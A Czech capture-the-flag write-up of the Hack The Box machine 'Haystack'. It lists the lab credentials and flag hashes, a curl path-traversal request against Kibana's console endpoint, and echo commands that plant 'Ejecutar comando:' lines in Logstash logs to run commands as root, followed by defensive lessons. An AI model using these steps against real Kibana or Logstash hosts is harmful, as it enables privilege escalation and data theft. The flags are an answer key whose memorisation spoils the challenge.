Haystack
Úvod a kontext
Haystack stojí hlavně na vazbě mezi Kibana/Elastic vrstvou a lokálním Logstash workflow. Účet security s heslem spanish.is.key je jen vstupní bod; skutečně zajímavé je až to, co se dá dělat z hostu na 127.0.0.1:5601 a v adresáři /opt/kibana.
Root zde nepadá na další veřejné CVE, ale na provozní automatice. Kibana API umí načíst lokální /tmp/tm.js a Logstash pak slepě zpracuje obsah logstash_tm.log a logstash_tm2.log, z něhož vykonává příkazy jako root.
Získání přístupu
Účet security
V zachycené části řetězce už první použitelný přístup začíná hotovými údaji security / spanish.is.key. Tím se otevírá běžný shell a možnost pracovat s lokální Kibana vrstvou.
user: security
pass: spanish.is.key
user: 04d18bc79dac1d4d48ee0a940c8eb929
Eskalace oprávnění
Získání root flagu
Lokální Kibana API na 127.0.0.1:5601 dovolí načíst vlastní /tmp/tm.js. Samotný root pak neotevře další exploit Elasticsearch, ale workflow nad logstash_tm.log a logstash_tm2.log, které z řádků Ejecutar comando: vykonává příkazy jako root.
curl "http://127.0.0.1:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../tmp/tm.js"
Pomcka: http://grokdebug.herokuapp.com/
echo "Ejecutar comando: cp /root/root.txt /tmp/root.txt" > /opt/kibana/logstash_tm.log
echo "Ejecutar comando: chown security: /tmp/root.txt" > /opt/kibana/logstash_tm2.log
root: 3f5f727c38d9f70e1d2ad2ba11059d92
Shrnutí klíčových poznatků
- Rozhodující nebyla veřejná služba sama o sobě, ale až lokální Kibana konzole na
127.0.0.1:5601a účetsecurity, který dovolil s ní pracovat. - Parametr
apis=../../../../.../tmp/tm.jszměnilapi_serverv lokální file-load primitivum pro Kibana vrstvu. - Root část nestála na kernelu ani na
sudo, ale na tom, že Logstash workflow slepě zpracovávalologstash_tm.logalogstash_tm2.loga řádkyEjecutar comando:vykonávalo s vysokými právy.
Co si odnést do praxe
- Localhost-only rozhraní typu Kibana konzole nejsou po prvním shellu interní bezpečnostní hranicí. Jakmile je útočník na hostu,
127.0.0.1:5601je pro něj stejně dosažitelný jako veřejný port. - Operační účty jako
securityje potřeba chránit podle toho, k jaké vrstvě prostředí otevírají cestu. Tady nešlo jen o běžného uživatele, ale o vstup do celé monitorovací vrstvy. - Logy a pomocné soubory nesmějí fungovat jako příkazové fronty. Jakmile automatika čte
logstash_tm.loga interpretuje obsah jako instrukce, mění se monitoring stack v přímý root kanál.
Další související články
HTB Stroje
Techniky
- Container boundary mistakes: bind mounty, `docker exec`, `runc`, `privileged`
- Údržbové skripty a provozní automaty jako zdroj přístupů
- SUID/GTFOBins a netypické binárky